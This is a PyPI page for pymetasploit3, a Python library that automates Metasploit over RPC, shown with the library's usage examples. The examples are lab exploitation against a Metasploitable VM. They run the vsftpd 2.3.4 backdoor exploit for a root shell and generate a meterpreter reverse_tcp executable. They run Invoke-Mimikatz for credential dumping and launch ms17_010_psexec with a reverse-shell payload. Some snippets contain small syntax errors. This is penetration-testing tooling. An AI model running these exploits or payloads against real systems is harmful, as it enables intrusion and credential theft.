Skip to main content

A full-fledged msfrpc library for Metasploit framework.

Project description

Pymetasploit3

Pymetasploit3 is a full-fledged Python3 Metasploit automation library. It can interact with Metasploit either through msfrpcd or the msgrpc plugin in msfconsole.

Original library: pymetasploit

This is an updated and improved version of the Python2 pymetasploit library by allfro.

Original project : https://github.com/allfro/pymetasploit

Installation

mkdir your-project
cd your-project
pipenv install --three pymetasploit3
pipenv shell

or:

pip3 install --user pymetasploit3

Basic Usage

Starting Metasploit RPC server

You can start the RPC server either with msfrpcd or msfconsole

Msfconsole

This will start the RPC server on port 55552 as well as the Metasploit console UI

$ msfconsole
msf> load msgrpc [Pass=yourpassword]

msfrpcd

This will start the RPC server on port 55553 and will just start the RPC server in the background

$ msfrpcd -P yourpassword 

RPC client

Connecting to msfrpcd

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', ssl=True)

Connecting to msfconsole with msgrpc plugin loaded

>>> from pymetasploit3.msfrpc import MsfRpcClient
>>> client = MsfRpcClient('yourpassword', port=55552, True)

MsfRpcClient

The MsfRpcClient class provides the core functionality to navigate through the Metasploit framework. Use dir(client) to see the callable methods.

>>> [m for m in dir(client) if not m.startswith('_')]
['auth', 'authenticated', 'call', 'client', 'consoles', 'core', 'db', 'jobs', 'login', 'logout', 'modules', 'plugins',
'port', 'server', 'token', 'sessions', 'ssl', 'uri']
>>>

Like the metasploit framework, MsfRpcClient is segmented into different management modules:

  • auth: manages the authentication of clients for the msfrpcd daemon.
  • consoles: manages interaction with consoles/shells created by Metasploit modules.
  • core: manages the Metasploit framework core.
  • db: manages the backend database connectivity for msfrpcd.
  • modules: manages the interaction and configuration of Metasploit modules (i.e. exploits, auxiliaries, etc.)
  • plugins: manages the plugins associated with the Metasploit core.
  • sessions: manages the interaction with Metasploit meterpreter sessions.

Running an exploit

Explore exploit modules:

>>> client.modules.exploits
['windows/wins/ms04_045_wins', 'windows/winrm/winrm_script_exec', 'windows/vpn/safenet_ike_11',
'windows/vnc/winvnc_http_get', 'windows/vnc/ultravnc_viewer_bof', 'windows/vnc/ultravnc_client', ...
'aix/rpc_ttdbserverd_realpath', 'aix/rpc_cmsd_opcode21']
>>>

Create an exploit module object:

>>> exploit = client.modules.use('exploit', 'unix/ftp/vsftpd_234_backdoor')
>>>

Explore exploit information:

>>>  print(exploit.description)

          This module exploits a malicious backdoor that was added to the	VSFTPD download
          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between
          June 30th 2011 and July 1st 2011 according to the most recent information
          available. This backdoor was removed on July 3rd 2011.

>>> exploit.options
['TCP::send_delay', 'ConnectTimeout', 'SSLVersion', 'VERBOSE', 'SSLCipher', 'CPORT', 'SSLVerifyMode', 'SSL', 'WfsDelay',
'CHOST', 'ContextInformationFile', 'WORKSPACE', 'EnableContextEncoding', 'TCP::max_send_size', 'Proxies',
'DisablePayloadHandler', 'RPORT', 'RHOSTS']
>>> exploit.missing_required # Required options which haven't been set yet
['RHOSTS']
>>>

Let's use a Metasploitable 2 instance running on a VMWare machine as our exploit target. It's running our favorite version of vsFTPd - 2.3.4 - and we already have our exploit module loaded. Our next step is to specify our target:

>>> exploit['RHOSTS'] = '172.16.14.145' # IP of our target host
>>>

Select a payload:

>>> exploit.targetpayloads()
['cmd/unix/interact']
>>>

At this point, this exploit only supports one payload (cmd/unix/interact). So let's pop a shell:

>>> exploit.execute(payload='cmd/unix/interact')
{'job_id': 1, 'uuid': '3whbuevf'}
>>>

We know the job ran successfully because job_id is 1. If the module failed to execute for any reason, job_id would be None. If we managed to pop our box, we might see something nice in the sessions list:

>>> client.sessions.list
{1: {'info': '', 'username': 'jsmith', 'session_port': 21, 'via_payload': 'payload/cmd/unix/interact',
'uuid': '5orqnnyv', 'tunnel_local': '172.16.14.1:58429', 'via_exploit': 'exploit/unix/ftp/vsftpd_234_backdoor',
'exploit_uuid': '3whbuevf', 'tunnel_peer': '172.16.14.145:6200', 'workspace': 'false', 'routes': '',
'target_host': '172.16.14.145', 'type': 'shell', 'session_host': '172.16.14.145', 'desc': 'Command shell'}}
>>>

generate a payload

Create a payload module object:

payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')

View module information as described above

Setting runoptions and generate payload

# set runoptions
payload.runoptions['BadChars'] = ''
payload.runoptions['Encoder'] = ''
payload.runoptions['Format'] = 'exe
payload.runoptions['NopSledSize'] = 0
payload.runoptions['ForceEncode'] = False
# payload.runoptions['Template'] = ''
payload.runoptions['Platform'] = ''
# payload.runoptions['KeepTemplateWorking'] = True
payload.runoptions['Iterations'] = 0

data = payload.payload_generate()
if isinstance(data, str):
    print(data)
else:
    with open('test.exe', 'wb') as f:
        f.write(data)

Interacting with the shell

Create a shell object out of the session number we found above and write to it:

>>> shell = client.sessions.session('1')
>>> shell.write('whoami')
>>> print(shell.read())
root
>>>

Run the same exploit object as before but wait until it completes and gather it's output:

>>> cid = client.consoles.console().cid # Create a new console and store its number in 'cid'
>>> print(client.consoles.console(cid).run_module_with_output(exploit, payload='cmd/unix/interact'))
# Some time passes
'[*] 172.16.14.145:21 - Banner: 220 vsFTPd 2.3.4
[*] 172.16.14.145:21 - USER: 331 Please specify the password
...'

client.sessions.session('1') has the same .write('some string') and .read() methods, but running session commands and waiting until they're done returning output isn't as simple as console commands. The Metasploit RPC server will return a busy value that is True or False with client.consoles.console('1').is_busy() but determining if a client.sessions.session() is done running a command requires us to do it by hand. For this purpose we will use a list of strings that, when any one is found in the session's output, will tell us that the session is done running its command. Below we are running the arp command within a meterpreter session. We know this command will return one large blob of text that will contain the characters ---- if it's successfully run so we put that into a list object.

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs)
# Some time passes
'\nARP Table\n                  ---------------\n  ...`

Run a PowerShell script with output

>>> session_id = '1'
>>> psh_script_path  = '/home/user/scripts/Invoke-Mimikatz.ps1'
>>> session = c.sessions.session(sessions_id)
>>> sessions.import_psh(psh_script_path)
>>> sessions.run_psh_cmd('Invoke-Mimikatz')
# Some time passes
'Mimikatz output...'

One can also use a timeout and simply return all data found before the timeout expired. timeout defaults to Metasploit's comm timeout of 300s and will throw an exception if the command timed out. To change this, set timeout_exception to False and the library will simply return all the data from the session output it found before the timeout expired.

>>> session_id = '1'
>>> session_command = 'arp'
>>> terminating_strs = ['----']
>>> client.sessions.session(session_id).run_with_output(session_command, terminating_strs, timeout=10, timeout_exception=False))
# 10s pass
'\nARP Table\n                  ---------------\n  ...`

Configuring payload options

For some usecases you might need to specify payload options, here's an example on how to do so.

exploit = client.modules.use('exploit', 'windows/smb/ms17_010_psexec')
exploit['RHOSTS'] = '172.28.128.13'
payload = client.modules.use('payload', 'windows/meterpreter/reverse_tcp')
payload['LHOST'] = '172.28.128.1'
payload['LPORT'] = 4444
exploit.execute(payload=payload)

More examples

Many other usage examples can be found in the example_usage.py file.

Contributions

I highly encourage contributors to send in any and all pull requests or issues. Thank you to allfro for writing the original pymetasploit library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pymetasploit3-1.0.6.tar.gz (24.7 kB view details)

Uploaded Source

File details

Details for the file pymetasploit3-1.0.6.tar.gz.

File metadata

  • Download URL: pymetasploit3-1.0.6.tar.gz
  • Upload date:
  • Size: 24.7 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? Yes
  • Uploaded via: twine/5.0.0 CPython/3.12.2

File hashes

Hashes for pymetasploit3-1.0.6.tar.gz
Algorithm Hash digest
SHA256 cb8601428eaf6befcd12e13e0967ae7a8d1a1081c49c465806bd561fdd2a1f14
MD5 4efc5a3751aed9e9bf82a6ad3f248db4
BLAKE2b-256 55f8608109a595e52c09db0454417a29101b4c1f0d5c0f941b1270a545f7ab3a

See more details on using hashes here.

Supported by

AWS AWS Cloud computing and Security Sponsor Datadog Datadog Monitoring Fastly Fastly CDN Google Google Download Analytics Microsoft Microsoft PSF Sponsor Pingdom Pingdom Monitoring Sentry Sentry Error logging StatusPage StatusPage Status page